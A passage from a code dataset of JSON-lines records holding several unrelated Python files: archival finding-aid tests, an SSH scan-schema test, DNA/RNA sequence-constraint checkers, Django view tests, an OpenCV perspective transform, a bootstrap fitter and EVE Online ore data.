ft.\n (7 boxes),\n 2 bound volumes (BV), and\n 11 oversized papers (OP)''' % EAD_NAMESPACE, PhysicalDescription)\n\n # extents with only space, no punctuation\n physdesc2 = load_xmlobject_from_string('''4 linear ft.\n (8 boxes)''' % EAD_NAMESPACE, PhysicalDescription)\n # extents with no space, no punctuation\n physdesc3 = load_xmlobject_from_string('''4 linear ft.(8 boxes)''' % EAD_NAMESPACE, PhysicalDescription)\n\n def test_unicode(self):\n self.assertEqual(u'5.25 linear ft. (7 boxes), 2 bound volumes (BV), and 11 oversized papers (OP)',\n unicode(self.physdesc1))\n\n # should have a space between extents, whether or not it is present in the xml\n self.assertEqual(u'4 linear ft. (8 boxes)', unicode(self.physdesc2))\n self.assertEqual(u'4 linear ft. (8 boxes)', unicode(self.physdesc3))", "source": "emory-libraries/findingaids", "license": "Apache-2.0"} {"text": "from ztag.schema import ztag_ssh_v2\nfrom zschema.compounds import *\nfrom zschema.leaves import *\n\n\nclass CertkeyPublicKeyWorkaroundTestCase(unittest.TestCase):\n \"\"\"\n Tests for workarounds added on 2018/09/07 (see schema.py).\n \"\"\"\n def setUp(self):\n pass\n\n @staticmethod\n def get_bq(input):\n return {field['name']: field['type'] for field in input['fields']}\n \n def test_to_es(self):\n \"\"\"\n Ensure that the to_es actually does exclude id, but that to_bq remains the same.\n \"\"\"\n expected_es = {'properties': {'name': {'type': 'keyword'}}}\n expected_bq = {'id': 'INTEGER', 'name': 'STRING'}\n \n the_type = ztag_ssh_v2['server_host_key']['certkey_public_key']['type']\n actual_bq = self.get_bq(the_type.to_bigquery('type'))\n actual_es = the_type.to_es()\n self.assertDictEqual(expected_es, actual_es)\n self.assertDictEqual(expected_bq, actual_bq)\n\n def test_uint32_is_unmodified(self):\n \"\"\"\n Ensure that other types with Unsigned32BitInteger fields are not affected.\n \"\"\"\n other_type = SubRecord({\n 'id': Unsigned32BitInteger(),\n 'name': String(),\n })\n expected_es = {\n 'properties': {\n 'name': {'type': 'keyword'},\n 'id': {'type': 'long'},\n }\n }\n expected_bq = {'id': 'INTEGER', 'name': 'STRING'}\n actual_bq = self.get_bq(other_type.to_bigquery(\"other_type\"))\n actual_es = other_type.to_es()\n self.assertDictEqual(expected_es, actual_es)\n self.assertDictEqual(expected_bq, actual_bq)\n\n def test_transform(self):\n \"\"\"\n Test that the transform strips the cert_type.id field\n \"\"\"\n grab = {\n \"data\":{\n \"xssh\":{\n \"server_id\": {\n \"raw\": \"SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4\",\n \"version\": \"2.0\",\n \"software\": \"OpenSSH_7.2p2\",\n \"comment\": \"Ubuntu-4ubuntu2.4\"\n },\n \"server_key_exchange\": {\n \"cookie\": \"dl2LAEeZ7cvx0xQrjs3PXw==\",\n \"kex_algorithms\": [\n \"curve25519-sha256@libssh.org\",\n \"ecdh-sha2-nistp256\",\n \"ecdh-sha2-nistp384\",\n \"ecdh-sha2-nistp521\",\n \"diffie-hellman-group-exchange-sha256\",\n \"diffie-hellman-group14-sha1\"\n ],\n \"host_key_algorithms\": [\n \"ssh-rsa\",\n \"rsa-sha2-512\",\n \"rsa-sha2-256\",\n \"ecdsa-sha2-nistp256\",\n \"ssh-ed25519\"\n ],\n \"client_to_server_ciphers\": [\n \"chacha20-poly1305@openssh.com\",\n \"aes128-ctr\",\n \"aes192-ctr\",\n \"aes256-ctr\",\n \"aes128-gcm@openssh.com\",\n \"aes256-gcm@openssh.com\"\n ],\n \"server_to_client_ciphers\": [\n \"chacha20-poly1305@openssh.com\",\n \"aes128-ctr\",\n \"aes192-ctr\",\n \"aes256-ctr\",\n \"aes128-gcm@openssh.com\",\n \"aes256-gcm@openssh.com\"\n ],\n \"client_to_server_macs\": [\n \"umac-64-etm@openssh.com\",\n \"umac-128-etm@openssh.com\",\n \"hmac-sha2-256-etm@openssh.com\",\n \"hmac-sha2-512-etm@openssh.com\",\n \"hmac-sha1-etm@openssh.com\",\n \"umac-64@openssh.com\",\n \"umac-128@openssh.com\",\n \"hmac-sha2-256\",\n \"hmac-sha2-512\",\n \"hmac-sha1\"\n ],\n \"server_to_client_macs\": [\n \"umac-64-etm@openssh.com\",\n \"umac-128-etm@openssh.com\",\n \"hmac-sha2-256-etm@openssh.com\",\n \"hmac-sha2-512-etm@openssh.com\",\n \"hmac-sha1-etm@openssh.com\",\n \"umac-64@openssh.com\",\n \"umac-128@openssh.com\",\n \"hmac-sha2-256\",\n \"hmac-sha2-512\",\n \"hmac-sha1\"\n ],\n \"client_to_server_compression\": [\n \"none\",\n \"zlib@openssh.com\"\n ],\n \"server_to_client_compression\": [\n \"none\",\n \"zlib@openssh.com\"\n ],\n \"first_kex_follows\": False,\n \"reserved\": 0\n },\n \"algorithm_selection\": {\n \"dh_kex_algorithm\": \"curve25519-sha256@libssh.org\",\n \"host_key_algorithm\": \"ecdsa-sha2-nistp256\",\n \"client_to_server_alg_group\": {\n \"cipher\": \"aes128-ctr\",\n \"mac\": \"hmac-sha2-256\",\n \"compression\": \"none\"\n },\n \"server_to_client_alg_group\": {\n \"cipher\": \"aes128-ctr\",\n \"mac\": \"hmac-sha2-256\",\n \"compression\": \"none\"\n }\n },\n \"key_exchange\": {\n \"curve25519_sha256_params\": {\n \"server_public\": \"d4LbboNPD+8feM4s2PjROJW07xbSpBq/rQSldP8SnAI=\"\n },\n \"server_signature\": {\n \"parsed\": {\n \"algorithm\": \"ecdsa-sha2-nistp256\",\n \"value\": \"AAAAIFqqEqz8qdIqvCHDUQzepCw/fRpyQFHaHjkLvg9C+NJ7AAAAIFRVK\"\n \"DWwRPnaRlrvL3147jTgAf4qAehT4D3Q/RW/LvlX\"\n },\n \"raw\": \"AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAABIAAAAIFqqEqz8qdIqvCHDUQzepCw\"\n \"/fRpyQFHaHjkLvg9C+NJ7AAAAIFRVKDWwRPnaRlrvL3147jTgAf4qAehT4D3Q/R\"\n \"W/LvlX\",\n \"h\": \"haFWxro3i4labGImawWJNSwaYHLTXHuGPkftgpn2/Fw=\"\n },\n \"server_host_key\": {\n \"certkey_public_key\": {\n \"cert_type\": {\n \"name\": \"UNKNOWN\",\n \"id\": 123,\n }\n },\n \"algorithm\": \"ecdsa-sha2-nistp256\",\n \"fingerprint_sha256\": \"691e8c65d86720d072fc5610f8976df184af64a91aea986a\"\n \"2de55a1abc0179dc\"\n }\n }\n }\n }\n }\n from ztag.transforms import SSHV2Transform\n expected = {\n \"name\": \"UNKNOWN\"\n }\n xform = SSHV2Transform(port=SSHV2Transform.port,\n protocol=SSHV2Transform.protocol,\n subprotocol=SSHV2Transform.subprotocol,\n scan_id='fake')\n transformed = xform._transform_object(grab)\n actual = transformed.transformed['server_host_key']['certkey_public_key']['type']\n self.assertEquals(expected, actual)\n\n\n\n", "source": "justinbastress/ztag", "license": "Apache-2.0"} {"text": "import random\nimport functools\nimport collections\n\niupac_count = {\n 'A': 1, 'C': 1, 'G': 1, 'T': 1,\n 'R': 2, 'Y': 2, 'S': 2, 'W': 2,\n 'K': 2, 'M': 2, 'B': 3, 'D': 3,\n 'H': 3, 'V': 3, 'N': 4, 'U': 1\n}\n\niupac_space_rna = {\n 'A': {'A'}, 'C': {'C'}, 'G': {'G'}, 'U': {'U'},\n 'R': {'A', 'G'}, 'Y': {'C', 'U'},\n 'S': {'G', 'C'}, 'W': {'A', 'U'},\n 'K': {'G', 'U'}, 'M': {'A', 'C'},\n 'B': {'C', 'G', 'U'}, 'V': {'A', 'C', 'G'},\n 'D': {'A', 'G', 'U'}, 'H': {'A', 'C', 'U'},\n 'N': {'A', 'U', 'G', 'C'}\n}\n\niupac_compl_rna = {\n 'A': 'U', 'C': 'G', 'G': 'Y', 'U': 'R',\n 'R': 'Y', 'Y': 'R', 'S': 'B', 'W': 'D',\n 'K': 'N', 'M': 'K', 'B': 'N', 'V': 'D',\n 'D': 'N', 'H': 'N', 'N': 'N'\n}\n\niupac_space_dna = {\n 'A': {'A'}, 'C': {'C'}, 'G': {'G'}, 'T': {'T'},\n 'R': {'A', 'G'}, 'Y': {'C', 'T'},\n 'S': {'G', 'C'}, 'W': {'A', 'T'},\n 'K': {'G', 'T'}, 'M': {'A', 'C'},\n 'B': {'C', 'G', 'T'}, 'V': {'A', 'C', 'G'},\n 'D': {'A', 'G', 'T'}, 'H': {'A', 'C', 'T'},\n 'N': {'A', 'T', 'G', 'C'}\n}\n\niupac_compl_dna = {\n 'A': 'T', 'C': 'G', 'G': 'C', 'T': 'A',\n 'R': 'Y', 'Y': 'R', 'S': 'S', 'W': 'W',\n 'K': 'M', 'M': 'K', 'B': 'V', 'V': 'B',\n 'D': 'H', 'H': 'D', 'N': 'N'\n}\n\ndef is_homolog_legal(seq, homology):\n '''\n Check is homology is satisfiable\n '''\n if homology > len(seq):\n return False\n return True\n\ndef is_seq_constr_legal(seq, part_type):\n '''\n Check if all characters used is standard IUPAC code.\n On failure returns (False, a list of illegal chars used).\n '''\n global iupac_space_dna\n global iupac_space_rna\n if part_type == 'DNA':\n iupac_space = iupac_space_dna\n else:\n iupac_space = iupac_space_rna\n chars = set(seq)\n alphabet = set(iupac_space.keys())\n if chars <= alphabet:\n return (True, None)\n else:\n return (False, sorted(chars-alphabet))\n\ndef get_computable_form(struct):\n '''\n Get computable components from an RNA secondary structure.\n '''\n opened = []\n closed = []\n pairs = []\n invalid = []\n for pos in range(len(struct)):\n pairing = struct[pos]\n if pairing == '(':\n opened.append(pos)\n elif pairing == ')':\n closed.append(pos)\n try:\n pairs.append((opened.pop(), closed.pop()))\n except:\n pass\n elif pairing not in ['x', '.']:\n invalid.append(pos)\n return pairs, opened, closed, invalid\n\ndef get_k_mer_count(seq_list, start, end, rev_dict):\n '''\n Get the possible number of candidate sequences.\n '''\n global iupac_count\n product = 1\n for j in range(start, end):\n nt = seq_list[j]\n if j in rev_dict:\n i = rev_dict[j]\n if i >= start:\n continue\n product *= iupac_count[nt]\n return product\n\ndef compress_locs(locs, homology):\n '''\n Compress contigs in locs.\n '''\n if not locs:\n return None\n else:\n compressed = []\n x = locs[0]\n y = x+homology\n for pos in range(1, len(locs)):\n if locs[pos]-locs[pos-1] == 1:\n y = locs[pos]+homology\n else:\n compressed.append((x, y))\n x = locs[pos]\n y = x+homology\n compressed.append((x, y))\n return compressed\n\ndef is_seq_constr_sufficient(seq, struct, homology, toolbox_size):\n '''\n Check if a desired size toolbox can be generated.\n On failure returns (False, a list of start:end tuples with constricted motifs).\n '''\n seq_list = list(seq)\n sufficiency_status = True\n insufficiency_locs = []\n rev_dict = {j:i for i,j in get_computable_form(struct)[0]}\n for i in range(len(seq)-homology+1):\n start = i\n end = start + homology\n kmer_count = get_k_mer_count(\n seq_list=seq_list,\n start=start,\n end=end,\n rev_dict=rev_dict)\n if kmer_count < toolbox_size:\n sufficiency_status = False\n insufficiency_locs.append(i)\n return (sufficiency_status, compress_locs(locs=insufficiency_locs, homology=homology))\n\ndef is_structure_valid(struct):\n '''\n Check if the given RNA structure is legal and balanced.\n On failure returns (False, three lists of indices:\n unclosed, unopened and invalid charas/parens)\n '''\n pairs, opened, closed, invalid = get_computable_form(struct)\n if not opened:\n opened = None\n if not closed:\n closed = None\n if not invalid:\n invalid = None\n if opened or closed or invalid:\n return (False, opened, closed, invalid)\n else:\n return (True, None, None, None)\n\ndef hamming(a, b):\n '''\n Get hamming distance between two strings.\n '''\n hdist = 0\n for i in range(len(a)):\n if a[i] != b[i]:\n hdist += 1\n return hdist\n\ndef is_contiguous(item1, item2):\n '''\n Check if two pairs are contiguous.\n '''\n if (item1[0]-item2[0] <= 1) and (item2[1]-item1[1] <= 1):\n return True\n return False\n\ndef is_structure_not_conflict(struct, homology):\n '''\n Q. Does the structure not enforce internal repeats?\n A. Stack evalation of stack of pairs.\n On failure returns (False, a list of locations with stems >= homology)\n '''\n pairs, opened, closed, invalid = get_computable_form(struct)\n if pairs:\n bad_contigs = []\n stretch = 1\n pairs = pairs[::-1]\n start = pairs.pop()\n end = None\n item1 = start\n item2 = end\n while pairs:\n end = pairs.pop()\n item2 = end\n if is_contiguous(item1, item2):\n item1 = item2\n item2 = None\n stretch += 1\n else:\n if stretch >= homology:\n bad_contigs.append(((item1[0], start[0]), (start[1], item1[1])))\n stretch = 1\n start = item2\n item1 = start\n if stretch >= homology:\n bad_contigs.append(((end[0], start[0]), (start[1], end[1])))\n if bad_contigs:\n return (False, bad_contigs)\n return (True, None)\n\ndef is_pairing_compatible(seq, struct, part_type):\n global iupac_space_dna\n global iupac_compl_dna\n global iupac_space_rna\n global iupac_compl_rna\n pairs, opened, closed, invalid = get_computable_form(struct)\n incompat_locs = []\n reduced_locs = []\n if pairs:\n if part_type == 'DNA':\n iupac_space = iupac_space_dna\n iupac_compl = iupac_compl_dna\n else:\n iupac_space = iupac_space_rna\n iupac_compl = iupac_compl_rna\n while pairs:\n i,j = pairs.pop()\n nti = seq[i]\n ntj = seq[j]\n if len(iupac_space[nti]) > len(iupac_space[ntj]):\n nti,ntj = ntj,nti\n if not iupac_space[nti] <= iupac_space[iupac_compl[ntj]]:\n incompat_locs.append(tuple(sorted([i,j])))\n else:\n if iupac_space[iupac_compl[ntj]] > iupac_space[nti]:\n reduced_locs.append(tuple(sorted([i,j])))\n if len(incompat_locs) > 0 or \\\n len(reduced_locs) > 0:\n return (False, incompat_locs, reduced_locs)\n return (True, incompat_locs, reduced_locs)\n\ndef main():\n print('Testing Sequence Constraint Validation Checkers ... ',)\n legal_alphabet = set('ACGTRYSWKMBDHVN')\n seq_legal = ''.join(random.sample(legal_alphabet, 1)[0] for _ in range(100))\n assert is_seq_constr_legal(seq=seq_legal, part_type='DNA')[0] == True\n\n illegal_alphabet = set('ABCDEFGHIJKLMNOPQRSTUVWXYZ')\n seq_illegal = ''.join(random.sample(illegal_alphabet, 1)[0] for _ in range(100))\n assert is_seq_constr_legal(seq=seq_illegal, part_type='DNA')[0] == False\n print('OK')\n\n print('Testing Sequence Constraint Sufficiency Checkers ... ',)\n seq = 'N'*20 + 'TTGACA' + 'N'*17 + 'TATAAT' + 'N'*6 + 'CCN' + 'N'*20\n struct = '.'*len(seq)\n homology = 11\n assert is_seq_constr_sufficient(seq, struct, homology, toolbox_size=1000)[0] == True\n assert is_seq_constr_sufficient(seq, struct, homology, toolbox_size=2000)[0] == False\n struct = '......((((((((((xxxxxxxx))))))))))......'\n seq = 'NNNNNNNNNNNNNNNNAAAAAAAANNNNNNNNNNNNNNNN'\n assert is_seq_constr_sufficient(seq, struct, homology, toolbox_size=1000)[0] == False\n assert is_seq_constr_sufficient(seq, struct, 17, toolbox_size=1000)[0] == True\n print('OK')\n\n print('Testing Struture Constraint Validation Checkers ...',)\n struct = '....(((.xx.)))...()...(())...'\n assert is_structure_valid(struct)[0] == True\n struct = '....(((.xx.))).).()...(())...'\n assert is_structure_valid(struct)[0] == False\n struct = '.(..(((.xx.)))...()...(())...'\n assert is_structure_valid(struct)[0] == False\n struct = '....(((.xx.))).X.()...(())...'\n assert is_structure_valid(struct)[0] == False\n struct = '.B..(((.xx.))).).().(.(())...'\n assert is_structure_valid(struct)[0] == False\n print('OK')\n\n print('Testing Struture Constraint Homology Conflict Checkers ...',)\n struct = '(((((((((((......)))))))))))...(((((((((((......)))))))))))'\n homology = 10\n assert is_structure_not_conflict(struct, homology)[0] == False\n struct = '(((((((((((......))))).))))))...(((((((((((......)))))))))))'\n homology = 10\n assert is_structure_not_conflict(struct, homology)[0] == False\n struct = '(((((((((((......)))).)))))))...(((((.((((((......)))))))))))'\n homology = 10\n assert is_structure_not_conflict(struct, homology)[0] == True\n print('OK')\n\n print('Testing Sequence Constraint Base Pairing Conflict Checkers ...',)\n seq = 'NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN'\n struct = '.....(((..(((((....)))))..))).....'\n assert is_pairing_compatible(seq, struct, part_type='DNA') == (True, [], [])\n seq = 'NNNNNNNNNNSNNNNNNNNNNNNSNNNNNNNNNN'\n struct = '.....(((..(((((....)))))..))).....'\n assert is_pairing_compatible(seq, struct, part_type='DNA') == (True, [], [])\n seq = 'NNNNNNNNNNSNNNNNNNNNNNNWNNNNNNNNNN'\n struct = '.....(((..(((((....)))))..))).....'\n assert is_pairing_compatible(seq, struct, part_type='DNA') == (False, [(10, 23)], [])\n seq = 'NNNNNNNNNNNNNNNNNNNNNNNANNNNNNNNNN'\n struct = '.....(((..(((((....)))))..))).....'\n assert is_pairing_compatible(seq, struct, part_type='RNA') == (False, [], [(10, 23)])\n seq = 'NNNNNANNNNNNNNNNNNNNNNNNNNNNNNNNNN'\n struct = '.....(((..(((((....)))))..))).....'\n assert is_pairing_compatible(seq, struct, part_type='RNA') == (False, [], [(5, 28)])\n seq = 'NNNNNMNNNNNNNNNNNNNNNNNNNNNNVNNNNN'\n struct = '.....(((..(((((....)))))..))).....'\n assert is_pairing_compatible(seq, struct, part_type='RNA') == (False, [(5, 28)], [])\n seq = 'NNNNNHNNNNNNNNNNNNNNNNNNNNNNCNNNNN'\n struct = '.....(((..(((((....)))))..))).....'\n assert is_pairing_compatible(seq, struct, part_type='RNA') == (False, [], [(5, 28)])\n seq = 'NNNNNGNNNNNNNNNNNNNNNNNNNNNNTNNNNN'\n struct = '.....(((..(((((....)))))..))).....'\n assert is_pairing_compatible(seq, struct, part_type='DNA') == (False, [(5, 28)], [])\n seq = 'NNNNNGNNNNNNNNNNNNNNNNNNNNNNUNNNNN'\n struct = '.....(((..(((((....)))))..))).....'\n assert is_pairing_compatible(seq, struct, part_type='RNA') == (False, [], [(5, 28)])\n print('OK')\n\nif __name__ == '__main__':\n main()\n\n", "source": "TimothyStiles/nrpcalc", "license": "MIT"} {"text": "import json\n\nfrom django.core.urlresolvers import reverse\nfrom tests import ViewTestCase\n\nfrom organizations.models import Organization\n\n\nclass OrgViewTests( ViewTestCase ):\n\n def test_add_member_accept( self ):\n\n org = self.test_new()\n self.login()\n\n # Request a member to join\n url = reverse( 'organization_member_add', kwargs={'org': org.name, 'user': 'test_user'} )\n response = self.client.post( url )\n self.assertEqual( response.status_code, 200 )\n\n # Attempt to accept member invitation under another account\n url = reverse( 'organization_member_accept', kwargs={'org': org.name, 'user': 'test_user'})\n response = self.client.get( url )\n self.assertEqual( response.status_code, 404 )\n\n self.logout()\n\n # Login with our test user and accept the member invitation\n self.login( username='test_user', password='test' )\n response = self.client.get( url )\n self.assertEqual( response.status_code, 302 )\n self.logout()\n\n org.delete()\n\n def test_add_member_ignore( self ):\n\n org = self.test_new()\n self.login()\n\n # Request a member to join\n url = reverse( 'organization_member_add', kwargs={'org': org.name, 'user': 'test_user'} )\n response = self.client.post( url )\n self.assertEqual( response.status_code, 200 )\n\n # Attempt to accept member invitation under another account\n url = reverse( 'organization_member_ignore', kwargs={'org': org.name, 'user': 'test_user'})\n response = self.client.get( url )\n self.assertEqual( response.status_code, 404 )\n\n self.logout()\n\n # Login with our test user and accept the member invitation\n self.login( username='test_user', password='test' )\n response = self.client.get( url )\n self.assertEqual( response.status_code, 302 )\n self.logout()\n\n org.delete()\n\n def test_dashboard( self ):\n\n org = self.test_new()\n url = reverse( 'organization_dashboard', kwargs={ 'org': org.name } )\n\n self.login()\n\n response = self.client.get( url )\n self.assertEqual( response.status_code, 200 )\n\n self.logout()\n org.delete()\n\n def test_delete( self ):\n\n org = self.test_new()\n url = reverse( 'organization_delete', kwargs={ 'org': org.name } )\n\n self.login()\n\n response = self.client.get( url )\n self.assertEqual( response.status_code, 302 )\n\n self.logout()\n\n def test_new( self ):\n\n self.login()\n\n url = reverse( 'organization_new' )\n\n # Test GET response\n response = self.client.get( url )\n self.assertEqual( response.status_code, 200 )\n\n # Test POST response\n org_data = {\n 'name': 'test_org',\n 'gravatar': '' }\n response = self.client.post( url, org_data )\n self.assertEqual( response.status_code, 302 )\n\n self.logout()\n\n return Organization.objects.get( name='test_org' )\n\n def test_new_repo( self ):\n\n org = self.test_new()\n self.login()\n\n url = reverse( 'organization_repo_new', kwargs={'org': org.name} )\n\n # Test GET response\n response = self.client.get( url )\n self.assertEqual( response.status_code, 200 )\n\n # Test POST response\n repo_data = {\n 'name': 'new_test',\n 'desc': 'description',\n 'privacy': 'private',\n 'survey_json': json.dumps( {\n 'type': 'survey',\n 'children': [ { 'type': 'text',\n 'name': 'name',\n 'label': 'What\\'s your name?' }]\n })\n }\n response = self.client.post( url, repo_data )\n self.assertEqual( response.status_code, 302 )\n\n self.logout()\n org.delete()", "source": "9929105/KEEP", "license": "MIT"} {"text": "def load_text(file):\n with open(file, \"r\") as file:\n text = file.read()\n return text", "source": "mandalbiswadip/MLLearn", "license": "MIT"} {"text": "import cv2\n\nimport numpy as np\n\n\nclass PerspectiveTransform(object):\n def __init__(self, source_points=None, destination_points=None, image=None):\n '''\n source_points & destination_points(2D Float32 List) list of 2D points for which\n the homography matrix shoulbe calculated\n TODO : Points are hardcoded right now. This can be improved by taking in an image\n and modifying the _calculate_tranformation() method by using HoughLines /Vanishing points\n as a starting point\n '''\n\n self.src_pts = source_points\n self.dst_pts = destination_points\n self.M = None\n self.M_inv = None\n\n offset_pix = 100 # Padding around the lane lines for the warped image\n\n if not self.src_pts:\n # TODO : Points found manually using images in test_images/straight_line1.jpg\n # This can be improved by building the set of points by calculating hough\n # lines or other techniques.\n\n y_bottom = 700\n y_horizon = 470\n n_cols = 1280 # hardcoded image size for Udacity Project\n self.src_pts = np.array([[offset_pix, y_bottom], # Bottom Left\n [n_cols - offset_pix, y_bottom], # Bottom Right\n [n_cols / 2 + offset_pix, y_horizon], # Top right\n [n_cols / 2 - offset_pix, y_horizon] # Top Left\n ], dtype=np.float32)\n\n if not self.dst_pts:\n dst_n_rows, dst_n_cols = 450, 800\n self.dst_pts = np.array([[offset_pix, dst_n_rows], # Bottom Left\n [dst_n_cols - offset_pix, dst_n_rows], # Bottom Right\n [dst_n_cols - offset_pix, 0], # Top Right\n [offset_pix, 0], # Top Left\n ], dtype=np.float32)\n\n self.__calculate_transformation()\n\n def __calculate_transformation(self):\n self.M = cv2.getPerspectiveTransform(self.src_pts, self.dst_pts)\n self.M_inv = cv2.getPerspectiveTransform(self.dst_pts, self.src_pts)\n\n def warp_image(self, image, warped_image_shape=None):\n if not warped_image_shape:\n warped_image_shape = (image.shape[1], image.shape[0])\n return cv2.warpPerspective(image, self.M, warped_image_shape, flags=cv2.INTER_LINEAR)\n\n def unwarp_image(self, warped_image, unwarped_image_shape=None):\n if not unwarped_image_shape:\n unwarped_image_shape = (warped_image.shape[1], warped_image.shape[0])\n return cv2.warpPerspective(warped_image, self.M_inv, unwarped_image_shape,\n flags=cv2.INTER_LINEAR)\n\n def get_destination_image_size(self):\n # TODO Clean this up, if using this class out side of the project\n return (450, 800)\n", "source": "stoicio/RoboCar", "license": "MIT"} {"text": "__description__ = \\\n\"\"\"\nFitter subclass for performing bootstrap fits.\n\"\"\"\n__author__ = \"Michael J. Harms\"\n__date__ = \"2017-05-11\"\n\nfrom .base import Fitter\n\nimport numpy as np\nimport scipy.optimize\n\nimport sys\n\nclass BootstrapFitter(Fitter):\n \"\"\"\n Perform the fit many times, sampling from uncertainty in each measurement.\n \"\"\"\n\n def __init__(self,num_bootstrap=100,perturb_size=1.0,exp_err=False,verbose=False):\n \"\"\"\n Perform the fit many times, sampling from uncertainty in each measured\n heat.\n\n Parameters\n ----------\n\n num_bootstrap : int\n Number of bootstrap samples to do\n perturb_size : float\n Standard deviation of random samples for heats. Ignored if exp_err\n is specified.\n exp_err : bool\n Use experimental estimates of heat uncertainty. If specified, overrides\n perturb_size.\n verbose : bool\n Give verbose output.\n \"\"\"\n\n super(BootstrapFitter,self).__init__()\n\n self._num_bootstrap = num_bootstrap\n self._perturb_size = perturb_size\n self._exp_err = exp_err\n self._verbose = verbose\n\n self.fit_type = \"bootstrap\"\n\n def _fit(self,**kwargs):\n \"\"\"\n Fit the parameters.\n\n Parameters\n ----------\n\n **kwargs : any keyword arguments are passed as **kwargs to\n scipy.optimize.least_squares\n \"\"\"\n\n # Create array to store bootstrap replicates\n samples = np.zeros((self._num_bootstrap,len(self.guesses)),dtype=float)\n\n original_y_obs = np.copy(self._y_obs)\n\n # Go through bootstrap reps\n for i in range(self._num_bootstrap):\n\n if self._verbose and i != 0 and i % 100 == 0:\n print(\"Bootstrap {} of {}\".format(i,self._num_bootstrap))\n sys.stdout.flush()\n\n # Add random error to each sample\n self.y_obs = original_y_obs + np.random.normal(0.0,self.y_stdev)\n\n # Do the fit\n fit = scipy.optimize.least_squares(self.unweighted_residuals,\n x0=self.guesses,\n bounds=self.bounds,\n **kwargs)\n\n # record the fit results\n samples[i,:] = fit.x\n\n self._y_obs = np.copy(original_y_obs)\n\n if self.samples is None:\n self._samples = samples\n\n # If samples have already been done, append to them.\n else:\n self._samples = np.concatenate((self._samples,samples))\n\n self._fit_result = self._samples\n\n self._update_estimates()\n\n def _update_estimates(self):\n\n # mean of bootstrap samples\n self._estimate = np.mean(self._samples,axis=0)\n\n # standard deviation from bootstrap samples\n self._stdev = np.std(self._samples,axis=0)\n\n # 95% from bootstrap samples\n self._ninetyfive = [[],[]]\n for i in range(self._samples.shape[1]):\n lower = np.percentile(self._samples[:,i], 2.5)\n upper = np.percentile(self._samples[:,i],97.5)\n self._ninetyfive[0].append(lower)\n self._ninetyfive[1].append(upper)\n self._ninetyfive = np.array(self._ninetyfive)\n\n self._success = True\n\n @property\n def fit_info(self):\n \"\"\"\n Return information about the fit.\n \"\"\"\n\n output = {}\n\n output[\"Num bootstrap\"] = self._num_bootstrap\n output[\"Perturb size\"] = self._perturb_size\n output[\"Use experimental error\"] = self._exp_err\n\n return output\n", "source": "harmslab/likelihood", "license": "MIT"} {"text": "import json\n\nbaseOreDataDict = {'Arkonor': {'compressed_type_id': 28367,\n 'compressed_volume': 8.8,\n 'type_id': 22,\n 'unit_type': 'ore',\n 'volume': 16},\n 'Azure Plagioclase': {'compressed_type_id': 28421,\n 'compressed_volume': 0.15,\n 'type_id': 17455,\n 'unit_type': 'ore',\n 'volume': 0.35},\n 'Bistot': {'compressed_type_id': 28388,\n 'compressed_volume': 4.4,\n 'type_id': 1223,\n 'unit_type': 'ore',\n 'volume': 16},\n 'Bitumens': {'compressed_type_id': 45492,\n 'compressed_volume': 10,\n 'type_id': 45492,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Blue Ice': {'compressed_type_id': 28433,\n 'compressed_volume': 100.0,\n 'type_id': 16264,\n 'unit_type': 'ice',\n 'volume': 1000},\n 'Bountiful Loparite': {'compressed_type_id': 46316,\n 'compressed_volume': 10,\n 'type_id': 46316,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Bountiful Monazite': {'compressed_type_id': 46314,\n 'compressed_volume': 10,\n 'type_id': 46314,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Bountiful Xenotime': {'compressed_type_id': 46312,\n 'compressed_volume': 10,\n 'type_id': 46312,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Bountiful Ytterbite': {'compressed_type_id': 46318,\n 'compressed_volume': 10,\n 'type_id': 46318,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Bright Spodumain': {'compressed_type_id': 28418,\n 'compressed_volume': 28.0,\n 'type_id': 17466,\n 'unit_type': 'ore',\n 'volume': 16},\n 'Brilliant Gneiss': {'compressed_type_id': 46695,\n 'compressed_volume': 1.8,\n 'type_id': 46679,\n 'unit_type': 'ore',\n 'volume': 5},\n 'Brimful Bitumens': {'compressed_type_id': 46284,\n 'compressed_volume': 10,\n 'type_id': 46284,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Brimful Coesite': {'compressed_type_id': 46286,\n 'compressed_volume': 10,\n 'type_id': 46286,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Brimful Sylvite': {'compressed_type_id': 46282,\n 'compressed_volume': 10,\n 'type_id': 46282,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Brimful Zeolites': {'compressed_type_id': 46280,\n 'compressed_volume': 10,\n 'type_id': 46280,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Carnotite': {'compressed_type_id': 45502,\n 'compressed_volume': 10,\n 'type_id': 45502,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Chromite': {'compressed_type_id': 45501,\n 'compressed_volume': 10,\n 'type_id': 45501,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Cinnabar': {'compressed_type_id': 45506,\n 'compressed_volume': 10,\n 'type_id': 45506,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Clear Icicle': {'compressed_type_id': 28434,\n 'compressed_volume': 100.0,\n 'type_id': 16262,\n 'unit_type': 'ice',\n 'volume': 1000},\n 'Cobaltite': {'compressed_type_id': 45494,\n 'compressed_volume': 10,\n 'type_id': 45494,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Coesite': {'compressed_type_id': 45493,\n 'compressed_volume': 10,\n 'type_id': 45493,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Concentrated Veldspar': {'compressed_type_id': 28430,\n 'compressed_volume': 0.15,\n 'type_id': 17470,\n 'unit_type': 'ore',\n 'volume': 0.1},\n 'Condensed Scordite': {'compressed_type_id': 28427,\n 'compressed_volume': 0.19,\n 'type_id': 17463,\n 'unit_type': 'ore',\n 'volume': 0.15},\n 'Copious Cobaltite': {'compressed_type_id': 46288,\n 'compressed_volume': 10,\n 'type_id': 46288,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Copious Euxenite': {'compressed_type_id': 46290,\n 'compressed_volume': 10,\n 'type_id': 46290,\n 'unit_type': 'moon_goo',\n 'volume': 10},\n 'Copious Scheelite': 